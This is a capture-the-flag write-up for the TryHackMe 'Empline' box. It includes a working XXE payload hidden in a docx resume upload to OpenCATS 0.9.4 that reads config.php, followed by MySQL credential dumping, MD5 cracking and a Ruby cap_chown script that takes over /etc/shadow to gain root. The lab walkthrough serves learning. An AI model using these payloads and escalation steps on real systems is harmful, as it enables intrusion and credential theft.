Well after I wrote yesterday there hadn’t been anything good on THM for a bit they came and released Empline. And it is good. Medium rated.

Ports

My first scan brought up HTTP and SSH only. A later scan - after the box had been running for longer - added mysql to the mix.

Web

Visiting the IP only gets a basic landing page but one link catches the eye; to job.empline.thm/careers. So we add empline.thm and jobs.empline.thm to /etc/hosts and check it out. At jobs.empline.thm we find Opencats Version 0.9.4 Countach. If we take a look at this excellent blog post we can learn all about the vulnerability and how to exploit it.

The system is a job applicant tracking system which allows you to upload a resume as a docx, and there is an XXE injection in the ‘document.xml’ part of the docx. The blog post must have been the inspiration for the box, because it follows the laid out attack almost exactly.

PoC is of course via reading /etc/passwd, but then we read config.php with base64 encoding to get our database credentials. The payload looked like this:

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=config.php'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p><w:r><w:t>&test;</w:t></w:r></w:p><w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

and you update the the docx like so:

┌──(root💀kali)-[/opt/thm/empline]
└─# zip resume.docx word/document.xml
updating: word/document.xml (deflated 65%)

I used a python script to create the file per the blog post, and then 7x to extract it so I could access document.xml. No Windows or Office required!

┌──(root💀kali)-[/opt/thm/empline]
└─# file resume.docx 
resume.docx: Microsoft OOXML
                                                                                                                                       
┌──(root💀kali)-[/opt/thm/empline]
└─# 7z x resume.docx 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD Ryzen 5 3400G with Radeon Vega Graphics     (810F81),ASM,AES-NI)

Scanning the drive for archives:
1 file, 36585 bytes (36 KiB)

Extracting archive: resume.docx
--
Path = resume.docx
Type = zip
Physical Size = 36585

Everything is Ok

Files: 17
Size:       826202
Compressed: 36585

For completeness, here’s the python script:

from docx import Document

document = Document()
paragraph = document.add_paragraph('Squidward')
document.save('resume.docx')

Right; we get some credentials back in the webapp after uploading our payload here: http://job.empline.thm/careers/index.php?m=careers&p=onApplyToJobOrder

Then it’s base64 decode and…now what? This is when I reran my port scan and found mysql open.

Mysql

This was pretty straightforward; connect to mysql with our creds and grab the users from the table:

┌──(root💀kali)-[/opt/thm/empline]
└─# mysql --host=empline.thm -u james -p                                                   
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 98
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| opencats           |
+--------------------+
2 rows in set (0.324 sec)

MariaDB [(none)]> use opencats;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [opencats]> show tables;
+--------------------------------------+
| Tables_in_opencats                   |
+--------------------------------------+
# etc
| system                               |
| tag                                  |
| user                                 |
| user_login                           |
# more etc
+--------------------------------------+
54 rows in set (0.324 sec)

MariaDB [opencats]> select * from user;
# etc

From this we get a hash for george which we can crack with john:

┌──(root💀kali)-[/opt/thm/empline]
└─# john hash -w=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
DO_IT_YOURSELF (?)
1g 0:00:00:00 DONE (2021-09-17 18:46) 4.000g/s 18146Kp/s 18146Kc/s 18146KC/s pretty,1..pretender5
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

And now we can SSH in:

┌──(root💀kali)-[/opt/thm/empline]
└─# ssh george@empline.thm
george@empline.thms password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Sep 17 22:46:38 UTC 2021

  System load:  0.0               Processes:           94
  Usage of /:   4.4% of 38.71GB   Users logged in:     0
  Memory usage: 53%               IP address for eth0: 10.10.132.211
  Swap usage:   0%


28 updates can be applied immediately.
7 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

george@empline:~$ sudo -l
[sudo] password for george: 
Sorry, user george may not run sudo on empline.
george@empline:~$

Privesc

I start with some manual eumeration but don’t find any easy wins so hit up linpeas. It reveals:

/usr/local/bin/ruby = cap_chown+ep

In bright red and yellow text so we’re onto a winner here. I’m not exactly proficient in Ruby so I consult the docs and put together this script:

#!/usr/bin/env /usr/local/bin/ruby
require 'fileutils'
FileUtils.chown 'george', 'george', '/etc/shadow'

And use it to take ownership of the shadow file:

george@empline:/tmp$ ./privesc.rb
george@empline:/tmp$ ls -lash /etc | grep shadow
4.0K -rw-r-----  1 root   shadow     696 Jul 20 19:48 gshadow
4.0K -rw-r-----  1 root   shadow     685 Jul 20 19:47 gshadow-
4.0K -rw-r-----  1 george george    1.1K Jul 20 19:48 shadow
4.0K -rw-r-----  1 root   shadow     985 Jul 20 19:47 shadow-

And there we go. I use nano to change the root password hash to the same as the one for george, and:

george@empline:/tmp$ su root
Password: 
root@empline:/tmp# id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
empline
Fri Sep 17 23:17:00 UTC 2021
root@empline:/tmp# cd /root
root@empline:~# ls -lash
total 36K
4.0K drwx------  4 root root 4.0K Jul 20 19:52 .
4.0K drwxr-xr-x 24 root root 4.0K Sep 17 22:22 ..
4.0K -rw-------  1 root root    5 Jul 20 19:52 .bash_history
4.0K -rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
4.0K drwxr-xr-x  3 root root 4.0K Jul 20 19:49 .local
4.0K -rw-r--r--  1 root root  148 Aug 17  2015 .profile
4.0K drwx------  2 root root 4.0K Jul 20 19:45 .ssh
4.0K -rw-r--r--  1 root root  227 Jul 20 19:48 .wget-hsts
4.0K -rw-r--r--  1 root root   33 Jul 20 19:48 root.txt
root@empline:~# cat root.txt
FLAG_GOES_HERE

All done, thanks zyeinn.